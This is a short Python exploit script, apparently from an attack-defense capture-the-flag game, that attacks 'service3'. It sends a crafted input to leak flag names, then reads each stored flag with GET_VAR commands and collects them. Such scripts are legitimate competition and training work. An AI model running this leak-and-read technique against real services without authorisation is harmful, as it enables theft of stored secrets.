service3-leak-1.py

#!/usr/bin/env python3

import re
from service3_common import connect, extract_flags


def exploit():
    io = connect()
    io.sendline(
        b"000000000000000000000000000000000000000000000000000000000000000z")
    s = io.recvuntil(b"Ready").decode('latin1')
    flag_names = re.findall("f[a-fA-F0-9]{30}[12]", s)
    s = b""
    for name in flag_names:
        io.sendline(name.encode())
        io.recvuntil(b"Ready")
        io.sendline(b"GET_VAR")
        s += io.recvuntil(b"Ready")
        io.sendline(b"Clear")
        io.recvuntil(b"Ready")
    extract_flags(s, True)


if __name__ == "__main__":
    exploit()